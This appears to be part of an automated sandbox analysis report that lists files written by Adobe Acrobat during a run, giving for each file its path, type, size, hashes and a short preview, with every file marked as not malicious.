MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklgu3lltfllXlE/HT8k9klhlXNNX8RolJuRdxLlGB9lQRYwpDdt:kK5WeT80klzdNMa8RdWBwRd
MD5:	31AA616E2E9FE728785BC7D0173BC493
SHA1:	3F9359EEF434AF94A5F1B260DA6BDCC6FD7F0FE0
SHA-256:	7D0F01F421B6AF1F70FA2AD01D237795A4DA488294E8C51CB759FE0ABDB40E29
SHA-512:	AF983AD63FDC8B25126559C8AE983AE147ADABC454F25F20EA7359F8ABE127793C0A2287991C169C832BB2B3C3D9DE4A864CDE3FA63F48CDAAE672990BD3D331
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....Xi..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKrMBL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:TMBiDnLNkPlE99SNxAhUe/3
MD5:	1B6ED9AFE0B8FBFC1C9E83C26E3DD28E
SHA1:	BF33A7899D4EECABE1DBD3DF13C3BF684BB677BF
SHA-256:	C00D6F08C81CA8B743FEFF41C1320C5B5DF697E01A023B112FBAF53752EBF41C
SHA-512:	2F071D6CB19F26F1327A089F85E998F164924A039ED705BE01D518D30FA3F49742F0893128A8D14169CEE9B0DBF0AD870ED5D816DCEB7C41967BF85C67266B68
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7920

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7920

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.358675441401202
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJM3g98kUwPeUkwRe9:YvXKXBUQTmT5LjIP/GMbLUkee9
MD5:	F08411C15E1C439AC45B3D92B99DDE52
SHA1:	9967FC0C529A8267AB8E7F72A6547172B59F63D6
SHA-256:	46B31839AAC8007074A745BA70C8F90FD8CFD7545B42D455FE54281307C7A6E1
SHA-512:	D45CC9CE8391681F2A255F009158610E7F1F4A16C6553DF31809FC9DD3EB9218B80A40A83EFF398B65D99FA6F4649466F2653302FFC8AF685F5C7085AF9A78FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.310787671888364
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJfBoTfXpnrPeUkwRe9:YvXKXBUQTmT5LjIP/GWTfXcUkee9
MD5:	ACD425B10E77F4C67B4A3C3E745AE292
SHA1:	67FBA5370161D8E9A9808116140E51A238F62293
SHA-256:	9493DC0F71C31EC355F76BBB6CE07DADE6A43538E0EA266E8A9E2AB84944CC71
SHA-512:	EDC8DA28DBCE1A82C1BF5C2C74220D1EE844A4D0A85DC6E966744F83353CA406CA9A6A85B2B82EB7C0E9A9666AA6F31F30F65FDD35A98862DC7015B2EBF22D84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2889265866336315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJfBD2G6UpnrPeUkwRe9:YvXKXBUQTmT5LjIP/GR22cUkee9
MD5:	0CBE09D6AE9B19149D72BBDB66971FF2
SHA1:	3A2E4A1211C53470967817193446FDDA3FA15F4B
SHA-256:	89A04C69C289C4FB79EE1932DEDD7CC80D6C812B3562468A2BD9641A5578930C
SHA-512:	5B9904650F7D4796C18C1B6DC27222296C49775CAFAF4067070019BE832D7E1213E32E53E0574D035AAB78D7DBCE76D13475F263D3AC5A02AFCE8BADA8188067
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.339512984664645
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJfPmwrPeUkwRe9:YvXKXBUQTmT5LjIP/GH56Ukee9
MD5:	8E43438235263306F5A44BE46B3B9E71
SHA1:	AECDA607F765DEE53C029827B7A20C8272E645F5
SHA-256:	892B565418789F353F545684DD1948EB838B9C1170954FF122E6E25F10054DFE
SHA-512:	821246405748EC51CED50409FDBF4A119D0AA5923BFD29733B5E2FDA597D168B90A6027A867068A8867D677EF3D27EAA364D53017E8288BA330A565858335CB5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694266780384559
Encrypted:	false
SSDEEP:	24:Yv6XBUGmT5XIspLgE9cQx8LennAvzBvkn0RCmK8czOCCSD:YvEuXJhgy6SAFv5Ah8cv/D
MD5:	15BAE10E18FD03AAAB76FDF969F15CBD
SHA1:	7567300C53E98F94BE9C14AA1D270815B3EDDEC1
SHA-256:	62BB4C3BA49DA585BD21C9A40DB30EA8038E8479EF9A22C1EBE6733C175AD04F
SHA-512:	7993CBC12DF85E3E2BFEEA340F30C22A89C132A190DC63A89FF8C917F9641231520AEBF856F0106195039FBC4482E8D11A74450B1AB7A2DBED71DD70A3D5EEE2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3129690355346355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJf8dPeUkwRe9:YvXKXBUQTmT5LjIP/GU8Ukee9
MD5:	234647E57BE5BFA4F975A3DAB968B0F4
SHA1:	8A443433A687E907218EB6BC54375DEFE33919C0
SHA-256:	7B25BAA0488241B7871312DA2A45EFA132C995544D01433E04E53DEA05FDACA3
SHA-512:	D87D986699C7C36AB06F55193C33952CF666A2D38739F9375B1FDDE6785BCB0A08E6B1027B949FF294492ACE0434B5A020BFD1E4CCC28C082850A0A1F86C2EBA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3043746451965035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJfQ1rPeUkwRe9:YvXKXBUQTmT5LjIP/GY16Ukee9
MD5:	E87CD622715FC7F5D3C950B6615F1B7B
SHA1:	D8DE1FFCCB250355536F4ECEEF4CDB355CE27452
SHA-256:	519EE9A6A9F2514549574BDB67FA29C4F99875BF0C9008048F21E5E494CA2EDE
SHA-512:	B06F9F5B31D6F3A0D20C49A75780BE364D62C01C1BBCC098D0BB49115574FF9DAC751F9ADC4484B7169F24687963655D839BBFA60E6F61F8A2DF1B42E8CB3C22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323922437416516
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJfFldPeUkwRe9:YvXKXBUQTmT5LjIP/Gz8Ukee9
MD5:	43AFE5A8CEB39CECC08792C72BF8F5DE
SHA1:	DAF4396FF01492480A2B1B9656B1DCA5DB64FD3E
SHA-256:	850A1DECEF6487B73D87216D6A61600BDA59E68866266B867BA159F665237096
SHA-512:	362D23A5777556F9EA7931135198C6B80FF12874CBBDBCA5DC72910F8EC30366D7906B53F76C16333CBB3BAA8BEDB99904FEF3829EF4139AE1A0B93E9D9A9E1E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.339282518375813
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJfzdPeUkwRe9:YvXKXBUQTmT5LjIP/Gb8Ukee9
MD5:	82A3F8D1A0D8C147284A036078453910
SHA1:	EE25DFA43EBC56E337D9C65554685E2C889976A3
SHA-256:	17F8C63E2E1E07D03A16A390EC0A03F6D66134F64AC2EC5163100D148C6ADCD8
SHA-512:	B99AE3E639ED54CA8A4F0C6A4CE1A9E1DC4DAD89A3C91911F660C846DD822D0C92508318EBAB26F1B271CE1E42448EE5B184C44424A86F165278EFED76D6306D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.32033980227318
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJfYdPeUkwRe9:YvXKXBUQTmT5LjIP/Gg8Ukee9
MD5:	9757E1FB73DFC67E9B8433151C64A388
SHA1:	F46F5282E9133AAC5FA27EF85A0EDAB352324E76
SHA-256:	C80756D6E61A28EA1D5EF42B1138E79B21B8898EDCFFE519F7C6D9216D5A2EC6
SHA-512:	9E891F25642118465E55F2E000997619673691DFBB8DC1820C93431BA6F9D4BCAB9718FDED151F0A323BCBA13BECFDC820101CB134DC7E4A6A34BC739E7F0F2C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"612a073b-b79c-4e68-8ace-7bbf7b4723c3","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749553645,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.307047261134138
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUXEjDTzzmSg1c2LjcWkHvR0YwDoAvJf+dPeUkwRe9:YvXKXBUQTmT5LjIP/G28Ukee9
MD5:	8C2DA7B3D8328A86022A3D36D6D68F63
SHA1:	20392C5CD72E731CEC796881E02294E1C13D51AD
SHA-256:	1032EA481CAB5A88B110996FDE5A319C3F6826AA8E4CAF13A4EF7FA6113DFB9E
SHA-512:	CF5FB7B5E15CF71C77E0BBECB4F64974C8E64934DFAE2A0D29C0F836C6D2C8F063FC2B893EC5AB7FF8543A600A3821874E93E69CA8DB6FED6641EC8F596EB282
Malicious:	false
